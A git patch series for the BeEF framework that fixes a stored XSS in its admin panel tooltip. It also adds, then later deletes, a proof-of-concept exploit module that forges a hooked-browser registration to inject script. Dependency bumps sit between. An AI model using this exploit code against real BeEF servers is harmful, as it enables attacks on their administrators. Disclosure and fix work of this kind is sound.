From 503e584d979e5f39ecdbb52f8806e83048859b7d Mon Sep 17 00:00:00 2001 From: zinduolis Date: Mon, 19 Jan 2026 17:16:05 +1000 Subject: [PATCH 01/14] sanitise inputs for hooked browsers --- .../javascript/ui/panel/zombiesTreeList.js | 20 ++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index e9c1c2ace..3d81e42e4 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -467,24 +467,26 @@ try{ } // set zombie hover balloon text for tree node + // Use Ext.util.Format.htmlEncode() to prevent XSS via malicious browser properties + var encode = Ext.util.Format.htmlEncode; var balloon_text = ""; - balloon_text += hooked_browser.ip; + balloon_text += encode(hooked_browser.ip); balloon_text += "
" balloon_text += " "; - balloon_text += "Origin: " + hooked_browser.domain + ":" + hooked_browser.port; + balloon_text += "Origin: " + encode(hooked_browser.domain) + ":" + encode(hooked_browser.port); balloon_text += "
"; balloon_text += " "; - balloon_text += "Browser: " + hooked_browser.browser_name + " " + hooked_browser.browser_version; + balloon_text += "Browser: " + encode(hooked_browser.browser_name) + " " + encode(hooked_browser.browser_version); balloon_text += "
"; balloon_text += " "; if (hooked_browser.os_version == 'Unknown') { - balloon_text += "OS: " + hooked_browser.os_name; + balloon_text += "OS: " + encode(hooked_browser.os_name); } else { - balloon_text += "OS: " + hooked_browser.os_name + ' ' + hooked_browser.os_version; + balloon_text += "OS: " + encode(hooked_browser.os_name) + ' ' + encode(hooked_browser.os_version); } balloon_text += "
"; balloon_text += " "; - balloon_text += "Hardware: " + hooked_browser.hw_name; + balloon_text += "Hardware: " + encode(hooked_browser.hw_name); balloon_text += "
"; if ( !hooked_browser.country || !hooked_browser.country_code || hooked_browser.country == 'Unknown' ) { @@ -492,11 +494,11 @@ try{ balloon_text += "Location: Unknown"; } else { balloon_text += " "; - balloon_text += "Location: " + hooked_browser.city + ", " + hooked_browser.country; + balloon_text += "Location: " + encode(hooked_browser.city) + ", " + encode(hooked_browser.country); } balloon_text += "
"; - balloon_text += "Local Date: " + hooked_browser.date; + balloon_text += "Local Date: " + encode(hooked_browser.date); hooked_browser.qtip = balloon_text; // set zombie text label for tree node @@ -511,7 +513,7 @@ try{ text += " "; } - text += hooked_browser.ip; + text += encode(hooked_browser.ip); hooked_browser.text = text; //save a new online HB From 2080cf5b0d50aaea39e28a701d4485d7f42245c3 Mon Sep 17 00:00:00 2001 From: zinduolis Date: Wed, 21 Jan 2026 09:38:50 +1000 Subject: [PATCH 02/14] add module for admin panel xss --- .../exploits/beef_admin_panel_xss/command.js | 167 ++++++++++++++++++ .../exploits/beef_admin_panel_xss/config.yaml | 15 ++ .../exploits/beef_admin_panel_xss/module.rb | 17 ++ 3 files changed, 199 insertions(+) create mode 100644 modules/exploits/beef_admin_panel_xss/command.js create mode 100644 modules/exploits/beef_admin_panel_xss/config.yaml create mode 100644 modules/exploits/beef_admin_panel_xss/module.rb diff --git a/modules/exploits/beef_admin_panel_xss/command.js b/modules/exploits/beef_admin_panel_xss/command.js new file mode 100644 index 000000000..10318f560 --- /dev/null +++ b/modules/exploits/beef_admin_panel_xss/command.js @@ -0,0 +1,167 @@ +// +// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - https://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var target_beef_url = "<%= @target_beef_url %>"; + var xss_payload = "<%= @xss_payload %>"; + + // Generate a random session ID (80 characters, uppercase + digits) + function generateHookId() { + var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; + var result = ''; + for (var i = 0; i < 80; i++) { + result += chars.charAt(Math.floor(Math.random() * chars.length)); + } + return result; + } + + // Get current timestamp in milliseconds + function ts() { + return Date.now(); + } + + // Split string into chunks + function chunkString(str, length) { + var chunks = []; + for (var i = 0; i < str.length; i += length) { + chunks.push(str.substring(i, i + length)); + } + return chunks; + } + + // Base64 encode (using browser's btoa) + function b64encode(str) { + return btoa(str); + } + + var HOOK = generateHookId(); + + // Build the malicious payload - XSS is injected into host.os.name + var malicious_os_name = 'Linux'; + + var browser_data = [{ + "cid": 0, + "results": { + "browser.window.cookies": "BEEFHOOK=" + HOOK, + "browser.name": "FFAA", + "browser.version": "146.0", + "browser.engine": "Gecko", + "browser.name.reported": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0", + "browser.platform": "Linux x86_64", + "browser.language": "en-US", + "browser.plugins": "PDF Viewer-v.undefined", + "browser.window.title": "Unknown", + "browser.window.origin": "http://exploited-host:8000", + "browser.window.hostname": "exploited-host", + "browser.window.hostport": "8000", + "browser.window.uri": "http://exploited-host:8000/victim.html", + "browser.window.referrer": "http://exploited-host:8000/victim.html", + "browser.window.size.width": 1678, + "browser.window.size.height": 168, + "browser.date.datestamp": new Date().toString(), + "host.os.name": malicious_os_name, + "host.os.family": "Linux", + "host.os.arch": 64, + "host.software.defaultbrowser": "Unknown", + "hardware.type": "Unknown", + "hardware.memory": "unknown", + "hardware.gpu": "unknown", + "hardware.gpu.vendor": "unknown", + "hardware.cpu.arch": "x86_64", + "hardware.cpu.cores": 32, + "hardware.battery.chargingstatus": "unknown", + "hardware.battery.level": "unknown", + "hardware.battery.chargingtime": "unknown", + "hardware.battery.dischargingtime": "unknown", + "hardware.screen.size.width": 5120, + "hardware.screen.size.height": 2160, + "hardware.screen.colordepth": 24, + "hardware.screen.touchenabled": "No", + "browser.capabilities.vbscript": "No", + "browser.capabilities.flash": "No", + "browser.capabilities.silverlight": "No", + "browser.capabilities.phonegap": "No", + "browser.capabilities.websocket": "Yes", + "browser.capabilities.webrtc": "No", + "browser.capabilities.webworker": "Yes", + "browser.capabilities.webgl": "No", + "browser.capabilities.googlegears": "No", + "browser.capabilities.activex": "No", + "browser.capabilities.quicktime": "No", + "browser.capabilities.realplayer": "No", + "browser.capabilities.wmp": "No", + "browser.capabilities.vlc": "No", + "HookSessionID": HOOK + }, + "status": 0, + "handler": "/init" + }]; + + var encoded_data = b64encode(JSON.stringify(browser_data)); + var chunks = chunkString(encoded_data, 383); + + beef.debug("[BeEF Admin Panel XSS] Sending malicious hook registration to: " + target_beef_url); + beef.debug("[BeEF Admin Panel XSS] Generated Hook ID: " + HOOK); + beef.debug("[BeEF Admin Panel XSS] Payload chunks: " + chunks.length); + + var requests_sent = 0; + var requests_completed = 0; + var total_requests = (2 * chunks.length) + 2; // 2 rounds of chunks + hook.js + final dh + + function checkComplete() { + if (requests_completed >= total_requests) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, + "result=Exploit sent successfully. Fake browser registered with Hook ID: " + HOOK + + ". XSS will trigger when admin hovers over the browser entry in the Hooked Browsers list.", + beef.are.status_success()); + } + } + + // Send chunks for session IDs 1 and 2 + for (var sid = 1; sid <= 2; sid++) { + for (var idx = 0; idx < chunks.length; idx++) { + (function(s, i, chunk) { + var url = target_beef_url + "/dh?bh=" + HOOK + "&sid=" + s + "&pid=" + (i + 1) + "&pc=" + chunks.length + "&d=" + encodeURIComponent(chunk) + "&_=" + ts(); + var img = new Image(); + img.onload = img.onerror = function() { + requests_completed++; + checkComplete(); + }; + img.src = url; + requests_sent++; + })(sid, idx, chunks[idx]); + } + } + + // Send hook.js request after a short delay + setTimeout(function() { + var hookUrl = target_beef_url + "/hook.js?BEEFHOOK=" + HOOK + "&_=" + ts(); + var img2 = new Image(); + img2.onload = img2.onerror = function() { + requests_completed++; + checkComplete(); + }; + img2.src = hookUrl; + requests_sent++; + + // Send final dh request + setTimeout(function() { + var finalChunk = chunks[chunks.length - 1] || ""; + var finalUrl = target_beef_url + "/dh?bh=" + HOOK + "&sid=3&pid=1&pc=1&d=" + encodeURIComponent(finalChunk) + "&_=" + ts(); + var img3 = new Image(); + img3.onload = img3.onerror = function() { + requests_completed++; + checkComplete(); + }; + img3.src = finalUrl; + requests_sent++; + }, 100); + }, 500); + + beef.debug("[BeEF Admin Panel XSS] Initiated " + requests_sent + " requests"); + +}); diff --git a/modules/exploits/beef_admin_panel_xss/config.yaml b/modules/exploits/beef_admin_panel_xss/config.yaml new file mode 100644 index 000000000..ecdd537e8 --- /dev/null +++ b/modules/exploits/beef_admin_panel_xss/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + beef_admin_panel_xss: + enable: true + category: "Exploits" + name: "BeEF Admin Panel XSS" + description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.

This can be used to test if a target BeEF instance is running a vulnerable version." + authors: ["radsec"] + target: + working: ["ALL"] diff --git a/modules/exploits/beef_admin_panel_xss/module.rb b/modules/exploits/beef_admin_panel_xss/module.rb new file mode 100644 index 000000000..c5753dc76 --- /dev/null +++ b/modules/exploits/beef_admin_panel_xss/module.rb @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Beef_admin_panel_xss < BeEF::Core::Command + def self.options + [ + { 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' }, + { 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert('BeEF XSS - Vulnerable!')", 'width' => '400px' } + ] + end + + def post_execute + save({ 'result' => @datastore['result'] }) + end +end From 64098917246f4592da3b93bc0719ec85a5135966 Mon Sep 17 00:00:00 2001 From: zinduolis Date: Wed, 21 Jan 2026 15:32:44 +1000 Subject: [PATCH 03/14] eliminate escaping issues --- modules/exploits/beef_admin_panel_xss/command.js | 9 +++++---- modules/exploits/beef_admin_panel_xss/config.yaml | 2 +- modules/exploits/beef_admin_panel_xss/module.rb | 2 +- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/beef_admin_panel_xss/command.js b/modules/exploits/beef_admin_panel_xss/command.js index 10318f560..57bb478cd 100644 --- a/modules/exploits/beef_admin_panel_xss/command.js +++ b/modules/exploits/beef_admin_panel_xss/command.js @@ -6,8 +6,8 @@ beef.execute(function() { - var target_beef_url = "<%= @target_beef_url %>"; - var xss_payload = "<%= @xss_payload %>"; + var target_beef_url = "<%= @target_beef_url.to_s.gsub('"', '\\"') %>"; + var xss_payload = "<%= @xss_payload.to_s.gsub('\\', '\\\\\\\\').gsub('"', '\\"').gsub("'", "\\\\'") %>"; // Generate a random session ID (80 characters, uppercase + digits) function generateHookId() { @@ -41,7 +41,8 @@ beef.execute(function() { var HOOK = generateHookId(); // Build the malicious payload - XSS is injected into host.os.name - var malicious_os_name = 'Linux'; + // Note: the payload is wrapped in the img onerror handler + var malicious_os_name = "Linux"; var browser_data = [{ "cid": 0, @@ -62,7 +63,7 @@ beef.execute(function() { "browser.window.referrer": "http://exploited-host:8000/victim.html", "browser.window.size.width": 1678, "browser.window.size.height": 168, - "browser.date.datestamp": new Date().toString(), + "browser.date.datestamp": "Fri Jan 16 2026 23:34:24 GMT+1000 (Australian Eastern Standard Time)", "host.os.name": malicious_os_name, "host.os.family": "Linux", "host.os.arch": 64, diff --git a/modules/exploits/beef_admin_panel_xss/config.yaml b/modules/exploits/beef_admin_panel_xss/config.yaml index ecdd537e8..2b2baaad5 100644 --- a/modules/exploits/beef_admin_panel_xss/config.yaml +++ b/modules/exploits/beef_admin_panel_xss/config.yaml @@ -10,6 +10,6 @@ beef: category: "Exploits" name: "BeEF Admin Panel XSS" description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.

This can be used to test if a target BeEF instance is running a vulnerable version." - authors: ["radsec"] + authors: ["author"] target: working: ["ALL"] diff --git a/modules/exploits/beef_admin_panel_xss/module.rb b/modules/exploits/beef_admin_panel_xss/module.rb index c5753dc76..f44675c17 100644 --- a/modules/exploits/beef_admin_panel_xss/module.rb +++ b/modules/exploits/beef_admin_panel_xss/module.rb @@ -7,7 +7,7 @@ class Beef_admin_panel_xss < BeEF::Core::Command def self.options [ { 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' }, - { 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert('BeEF XSS - Vulnerable!')", 'width' => '400px' } + { 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert(String.fromCharCode(88,83,83))", 'width' => '400px' } ] end From 0316a9f22493923f6d40679b86282f8d24b6f742 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 9 Feb 2026 14:27:54 +0000 Subject: [PATCH 04/14] Build(deps-dev): bump irb from 1.16.0 to 1.17.0 Bumps [irb](https://github.com/ruby/irb) from 1.16.0 to 1.17.0. - [Release notes](https://github.com/ruby/irb/releases) - [Commits](https://github.com/ruby/irb/compare/v1.16.0...v1.17.0) --- updated-dependencies: - dependency-name: irb dependency-version: 1.17.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- Gemfile | 2 +- Gemfile.lock | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index b6a795aa9..75f8cf25c 100644 --- a/Gemfile +++ b/Gemfile @@ -67,7 +67,7 @@ group :test do gem 'rdoc', '~> 7.1' gem 'browserstack-local', '~> 1.4' - gem 'irb', '~> 1.16' + gem 'irb', '~> 1.17' gem 'pry-byebug', '~> 3.12' gem 'rest-client', '~> 2.1.0' diff --git a/Gemfile.lock b/Gemfile.lock index ff4604ea0..3c8d34817 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -85,8 +85,9 @@ GEM io-console (0.8.2) io-endpoint (0.15.2) io-like (0.4.0) - irb (1.16.0) + irb (1.17.0) pp (>= 0.6.0) + prism (>= 1.3.0) rdoc (>= 4.0.0) reline (>= 0.4.2) json (2.18.1) @@ -322,7 +323,7 @@ DEPENDENCIES eventmachine (~> 1.2, >= 1.2.7) execjs (~> 2.10) geckodriver-helper (~> 0.24.0) - irb (~> 1.16) + irb (~> 1.17) json maxmind-db (~> 1.4) mime-types (~> 3.7) From b47c85cbaad970725166b127bc02552c61233c0a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 10 Feb 2026 13:03:00 +0000 Subject: [PATCH 05/14] Build(deps-dev): bump rdoc from 7.1.0 to 7.2.0 Bumps [rdoc](https://github.com/ruby/rdoc) from 7.1.0 to 7.2.0. - [Release notes](https://github.com/ruby/rdoc/releases) - [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc) - [Commits](https://github.com/ruby/rdoc/compare/v7.1.0...v7.2.0) --- updated-dependencies: - dependency-name: rdoc dependency-version: 7.2.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- Gemfile | 2 +- Gemfile.lock | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index 75f8cf25c..1821a2c07 100644 --- a/Gemfile +++ b/Gemfile @@ -64,7 +64,7 @@ group :test do gem 'simplecov', '~> 0.22' gem 'test-unit-full', '~> 0.0.5' gem 'rspec', '~> 3.13' - gem 'rdoc', '~> 7.1' + gem 'rdoc', '~> 7.2' gem 'browserstack-local', '~> 1.4' gem 'irb', '~> 1.17' diff --git a/Gemfile.lock b/Gemfile.lock index 3c8d34817..f470dd1c7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -171,7 +171,7 @@ GEM rack (>= 1.3) rainbow (3.1.1) rake (13.3.1) - rdoc (7.1.0) + rdoc (7.2.0) erb psych (>= 4.0.0) tsort @@ -336,7 +336,7 @@ DEPENDENCIES rack (~> 3.2) rack-protection (~> 4.2.1) rake (~> 13.3) - rdoc (~> 7.1) + rdoc (~> 7.2) rest-client (~> 2.1.0) rspec (~> 3.13) rubocop (~> 1.84.1) From f9757c9e8f4b4c6fa8f7cbf3b0e67d1ea05cfb87 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 12 Feb 2026 13:03:22 +0000 Subject: [PATCH 06/14] Build(deps): bump rubocop from 1.84.1 to 1.84.2 Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.1 to 1.84.2. - [Release notes](https://github.com/rubocop/rubocop/releases) - [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md) - [Commits](https://github.com/rubocop/rubocop/compare/v1.84.1...v1.84.2) --- updated-dependencies: - dependency-name: rubocop dependency-version: 1.84.2 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- Gemfile | 2 +- Gemfile.lock | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index 1821a2c07..9eebbb9fc 100644 --- a/Gemfile +++ b/Gemfile @@ -24,7 +24,7 @@ gem 'rake', '~> 13.3' gem 'activerecord', '~> 8.1' gem 'otr-activerecord', '~> 2.6.0' gem 'sqlite3', '~> 2.9' -gem 'rubocop', '~> 1.84.1', require: false +gem 'rubocop', '~> 1.84.2', require: false # Geolocation support group :geoip do diff --git a/Gemfile.lock b/Gemfile.lock index f470dd1c7..0dc51520f 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -199,7 +199,7 @@ GEM diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) rspec-support (3.13.6) - rubocop (1.84.1) + rubocop (1.84.2) json (~> 2.3) language_server-protocol (~> 3.17.0.2) lint_roller (~> 1.1.0) @@ -339,7 +339,7 @@ DEPENDENCIES rdoc (~> 7.2) rest-client (~> 2.1.0) rspec (~> 3.13) - rubocop (~> 1.84.1) + rubocop (~> 1.84.2) rubyzip (~> 3.2) rushover (~> 0.3.0) selenium-webdriver (~> 4.40) From 1d719b30ee77e4ef52152bfa89ae31f48153ba1b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 16 Feb 2026 14:00:38 +0000 Subject: [PATCH 07/14] Build(deps): bump rack from 3.2.4 to 3.2.5 Bumps [rack](https://github.com/rack/rack) from 3.2.4 to 3.2.5. - [Release notes](https://github.com/rack/rack/releases) - [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md) - [Commits](https://github.com/rack/rack/compare/v3.2.4...v3.2.5) --- updated-dependencies: - dependency-name: rack dependency-version: 3.2.5 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- Gemfile.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index 0dc51520f..c10dfa153 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -159,7 +159,7 @@ GEM mojo_magick (~> 0.6.5) rqrcode_core (~> 1.0) racc (1.8.1) - rack (3.2.4) + rack (3.2.5) rack-protection (4.2.1) base64 (>= 0.1.0) logger (>= 1.6.0) From ae2b95a286c39d673f55b35642c02ae4cef28717 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 20 Feb 2026 00:33:58 +0000 Subject: [PATCH 08/14] Build(deps-dev): bump nokogiri from 1.18.9 to 1.19.1 Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.9 to 1.19.1. - [Release notes](https://github.com/sparklemotion/nokogiri/releases) - [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md) - [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.9...v1.19.1) --- updated-dependencies: - dependency-name: nokogiri dependency-version: 1.19.1 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- Gemfile.lock | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index c10dfa153..7ebad5367 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -116,21 +116,21 @@ GEM net-protocol netrc (0.11.0) nio4r (2.7.4) - nokogiri (1.18.9-aarch64-linux-gnu) + nokogiri (1.19.1-aarch64-linux-gnu) racc (~> 1.4) - nokogiri (1.18.9-aarch64-linux-musl) + nokogiri (1.19.1-aarch64-linux-musl) racc (~> 1.4) - nokogiri (1.18.9-arm-linux-gnu) + nokogiri (1.19.1-arm-linux-gnu) racc (~> 1.4) - nokogiri (1.18.9-arm-linux-musl) + nokogiri (1.19.1-arm-linux-musl) racc (~> 1.4) - nokogiri (1.18.9-arm64-darwin) + nokogiri (1.19.1-arm64-darwin) racc (~> 1.4) - nokogiri (1.18.9-x86_64-darwin) + nokogiri (1.19.1-x86_64-darwin) racc (~> 1.4) - nokogiri (1.18.9-x86_64-linux-gnu) + nokogiri (1.19.1-x86_64-linux-gnu) racc (~> 1.4) - nokogiri (1.18.9-x86_64-linux-musl) + nokogiri (1.19.1-x86_64-linux-musl) racc (~> 1.4) otr-activerecord (2.6.0) activerecord (>= 6.0, < 9.0) From 9a648629d27be087c02526de6e61003e9fe6a4b5 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 20 Feb 2026 13:03:03 +0000 Subject: [PATCH 09/14] Build(deps-dev): bump selenium-webdriver from 4.40.0 to 4.41.0 Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.40.0 to 4.41.0. - [Release notes](https://github.com/SeleniumHQ/selenium/releases) - [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES) - [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.40.0...selenium-4.41.0) --- updated-dependencies: - dependency-name: selenium-webdriver dependency-version: 4.41.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- Gemfile | 2 +- Gemfile.lock | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile b/Gemfile index 9eebbb9fc..1acf684db 100644 --- a/Gemfile +++ b/Gemfile @@ -80,7 +80,7 @@ group :test do # Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior # gem 'selenium' # Requires old version of selenium which is no longer available gem 'geckodriver-helper', '~> 0.24.0' - gem 'selenium-webdriver', '~> 4.40' + gem 'selenium-webdriver', '~> 4.41' # Note: nokogiri is needed by capybara which may require one of the below commands # sudo apt-get install libxslt-dev libxml2-dev diff --git a/Gemfile.lock b/Gemfile.lock index 7ebad5367..ddc9b7fe4 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -220,7 +220,7 @@ GEM json rest-client securerandom (0.4.1) - selenium-webdriver (4.40.0) + selenium-webdriver (4.41.0) base64 (~> 0.2) logger (~> 1.4) rexml (~> 3.2, >= 3.2.5) @@ -342,7 +342,7 @@ DEPENDENCIES rubocop (~> 1.84.2) rubyzip (~> 3.2) rushover (~> 0.3.0) - selenium-webdriver (~> 4.40) + selenium-webdriver (~> 4.41) simplecov (~> 0.22) sinatra (~> 4.1) slack-notifier (~> 2.4) From e3a668e2586c9861f1995d4bf19b4ff1821fe409 Mon Sep 17 00:00:00 2001 From: zinduolis Date: Wed, 25 Feb 2026 15:19:47 +1000 Subject: [PATCH 10/14] sanitise PR to have just the fix --- .../exploits/beef_admin_panel_xss/command.js | 168 ------------------ .../exploits/beef_admin_panel_xss/config.yaml | 15 -- .../exploits/beef_admin_panel_xss/module.rb | 17 -- 3 files changed, 200 deletions(-) delete mode 100644 modules/exploits/beef_admin_panel_xss/command.js delete mode 100644 modules/exploits/beef_admin_panel_xss/config.yaml delete mode 100644 modules/exploits/beef_admin_panel_xss/module.rb diff --git a/modules/exploits/beef_admin_panel_xss/command.js b/modules/exploits/beef_admin_panel_xss/command.js deleted file mode 100644 index 57bb478cd..000000000 --- a/modules/exploits/beef_admin_panel_xss/command.js +++ /dev/null @@ -1,168 +0,0 @@ -// -// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -// Browser Exploitation Framework (BeEF) - https://beefproject.com -// See the file 'doc/COPYING' for copying permission -// - -beef.execute(function() { - - var target_beef_url = "<%= @target_beef_url.to_s.gsub('"', '\\"') %>"; - var xss_payload = "<%= @xss_payload.to_s.gsub('\\', '\\\\\\\\').gsub('"', '\\"').gsub("'", "\\\\'") %>"; - - // Generate a random session ID (80 characters, uppercase + digits) - function generateHookId() { - var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; - var result = ''; - for (var i = 0; i < 80; i++) { - result += chars.charAt(Math.floor(Math.random() * chars.length)); - } - return result; - } - - // Get current timestamp in milliseconds - function ts() { - return Date.now(); - } - - // Split string into chunks - function chunkString(str, length) { - var chunks = []; - for (var i = 0; i < str.length; i += length) { - chunks.push(str.substring(i, i + length)); - } - return chunks; - } - - // Base64 encode (using browser's btoa) - function b64encode(str) { - return btoa(str); - } - - var HOOK = generateHookId(); - - // Build the malicious payload - XSS is injected into host.os.name - // Note: the payload is wrapped in the img onerror handler - var malicious_os_name = "Linux"; - - var browser_data = [{ - "cid": 0, - "results": { - "browser.window.cookies": "BEEFHOOK=" + HOOK, - "browser.name": "FFAA", - "browser.version": "146.0", - "browser.engine": "Gecko", - "browser.name.reported": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0", - "browser.platform": "Linux x86_64", - "browser.language": "en-US", - "browser.plugins": "PDF Viewer-v.undefined", - "browser.window.title": "Unknown", - "browser.window.origin": "http://exploited-host:8000", - "browser.window.hostname": "exploited-host", - "browser.window.hostport": "8000", - "browser.window.uri": "http://exploited-host:8000/victim.html", - "browser.window.referrer": "http://exploited-host:8000/victim.html", - "browser.window.size.width": 1678, - "browser.window.size.height": 168, - "browser.date.datestamp": "Fri Jan 16 2026 23:34:24 GMT+1000 (Australian Eastern Standard Time)", - "host.os.name": malicious_os_name, - "host.os.family": "Linux", - "host.os.arch": 64, - "host.software.defaultbrowser": "Unknown", - "hardware.type": "Unknown", - "hardware.memory": "unknown", - "hardware.gpu": "unknown", - "hardware.gpu.vendor": "unknown", - "hardware.cpu.arch": "x86_64", - "hardware.cpu.cores": 32, - "hardware.battery.chargingstatus": "unknown", - "hardware.battery.level": "unknown", - "hardware.battery.chargingtime": "unknown", - "hardware.battery.dischargingtime": "unknown", - "hardware.screen.size.width": 5120, - "hardware.screen.size.height": 2160, - "hardware.screen.colordepth": 24, - "hardware.screen.touchenabled": "No", - "browser.capabilities.vbscript": "No", - "browser.capabilities.flash": "No", - "browser.capabilities.silverlight": "No", - "browser.capabilities.phonegap": "No", - "browser.capabilities.websocket": "Yes", - "browser.capabilities.webrtc": "No", - "browser.capabilities.webworker": "Yes", - "browser.capabilities.webgl": "No", - "browser.capabilities.googlegears": "No", - "browser.capabilities.activex": "No", - "browser.capabilities.quicktime": "No", - "browser.capabilities.realplayer": "No", - "browser.capabilities.wmp": "No", - "browser.capabilities.vlc": "No", - "HookSessionID": HOOK - }, - "status": 0, - "handler": "/init" - }]; - - var encoded_data = b64encode(JSON.stringify(browser_data)); - var chunks = chunkString(encoded_data, 383); - - beef.debug("[BeEF Admin Panel XSS] Sending malicious hook registration to: " + target_beef_url); - beef.debug("[BeEF Admin Panel XSS] Generated Hook ID: " + HOOK); - beef.debug("[BeEF Admin Panel XSS] Payload chunks: " + chunks.length); - - var requests_sent = 0; - var requests_completed = 0; - var total_requests = (2 * chunks.length) + 2; // 2 rounds of chunks + hook.js + final dh - - function checkComplete() { - if (requests_completed >= total_requests) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, - "result=Exploit sent successfully. Fake browser registered with Hook ID: " + HOOK + - ". XSS will trigger when admin hovers over the browser entry in the Hooked Browsers list.", - beef.are.status_success()); - } - } - - // Send chunks for session IDs 1 and 2 - for (var sid = 1; sid <= 2; sid++) { - for (var idx = 0; idx < chunks.length; idx++) { - (function(s, i, chunk) { - var url = target_beef_url + "/dh?bh=" + HOOK + "&sid=" + s + "&pid=" + (i + 1) + "&pc=" + chunks.length + "&d=" + encodeURIComponent(chunk) + "&_=" + ts(); - var img = new Image(); - img.onload = img.onerror = function() { - requests_completed++; - checkComplete(); - }; - img.src = url; - requests_sent++; - })(sid, idx, chunks[idx]); - } - } - - // Send hook.js request after a short delay - setTimeout(function() { - var hookUrl = target_beef_url + "/hook.js?BEEFHOOK=" + HOOK + "&_=" + ts(); - var img2 = new Image(); - img2.onload = img2.onerror = function() { - requests_completed++; - checkComplete(); - }; - img2.src = hookUrl; - requests_sent++; - - // Send final dh request - setTimeout(function() { - var finalChunk = chunks[chunks.length - 1] || ""; - var finalUrl = target_beef_url + "/dh?bh=" + HOOK + "&sid=3&pid=1&pc=1&d=" + encodeURIComponent(finalChunk) + "&_=" + ts(); - var img3 = new Image(); - img3.onload = img3.onerror = function() { - requests_completed++; - checkComplete(); - }; - img3.src = finalUrl; - requests_sent++; - }, 100); - }, 500); - - beef.debug("[BeEF Admin Panel XSS] Initiated " + requests_sent + " requests"); - -}); diff --git a/modules/exploits/beef_admin_panel_xss/config.yaml 